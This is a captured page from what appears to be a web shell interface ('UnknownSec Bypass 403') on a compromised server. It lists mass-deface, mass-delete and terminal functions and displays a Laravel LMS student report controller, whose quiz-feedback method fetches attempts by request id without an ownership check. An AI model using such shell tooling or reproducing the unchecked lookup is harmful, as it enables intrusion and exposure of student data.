UnknownSec Bypass
403
:
/
var
/
www
/
html
/
lms_9d655b94864d
/
app
/
Http
/
Controllers
/
Environment
/
Student
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
ReportController.php
<?php namespace EstudioLMS\Http\Controllers\Environment\Student; use EstudioLMS\Base\ResponseBuilder; use EstudioLMS\Http\Controllers\Controller; use EstudioLMS\Repositories\Courses\Resources\QuizInterface; use EstudioLMS\Repositories\Environment\Quiz\QuizAttemptDetailInterface; use EstudioLMS\Repositories\Environment\Quiz\QuizAttemptInterface; use EstudioLMS\Services\Environment\CourseService; use Illuminate\Contracts\Auth\Guard; use mjanssen\BreadcrumbsBundle\Breadcrumbs; use Illuminate\Http\Request; /** * Class ReportController * @package EstudioLMS\Http\Controllers\Environment\Student */ class ReportController extends Controller { /** * @var Guard */ private $auth; /** * @var CourseService */ private $courseService; /** * @var Breadcrumbs */ private $breadcrumbs; /** * @var ResponseBuilder */ private $responseBuilder; /** * ReportController constructor. * @param Guard $auth * @param ResponseBuilder $responseBuilder * @param Breadcrumbs $breadcrumbs * @param CourseService $courseService */ public function __construct( Guard $auth, ResponseBuilder $responseBuilder, Breadcrumbs $breadcrumbs, CourseService $courseService ) { $this->middleware('student'); $this->auth = $auth; $this->responseBuilder = $responseBuilder; $this->breadcrumbs = $breadcrumbs; $this->courseService = $courseService; } /** * @return mixed */ public function listCoursesAPI() { $userId = $this->auth->user()['id']; return $this->courseService->allCoursesByStudent($userId); } /** * @return mixed */ public function averageReportByCourse(Request $request) { $title = trans('messages.studentAverageByCourse'); $env = 'report'; $bread = null; $userId = $this->auth->user()['id']; $courses = ['' => 'Selecione o curso'] + $this->courseService->getAllCoursesByStudentWithAverage($userId, true); $selectedCourse = $request->get('selectedCourse'); $averages = null; if(!empty($selectedCourse)) { $averages = $this->averageReportByCourseAPI($selectedCourse); } return view('ambiente.student.reports.average_by_course', compact('courses', 'selectedCourse', 'averages'), compact('title', 'env', 'bread') ); } /** * @param $courseId * @return null */ public function averageReportByCourseAPI($courseId) { $userId = $this->auth->user()['id']; return $this->courseService->getAllAttemptsOfEvaluationsWithAverageByCourse($courseId, $userId); } /** * @param Request $request * @return string */ public function reportQuizFeedback(Request $request) { $data = $request->all(); $quizAttempt = app(QuizAttemptInterface::class); $feedback = $quizAttempt->with(['summary','details.questions.answers'])->find($data['id']); $quiz = app(QuizInterface::class)->find($feedback->resource_id); return view('ambiente.student.reports.quiz.feedback', compact('quiz', 'feedback'))->render(); } }
Copyright © 2026 - UnknownSec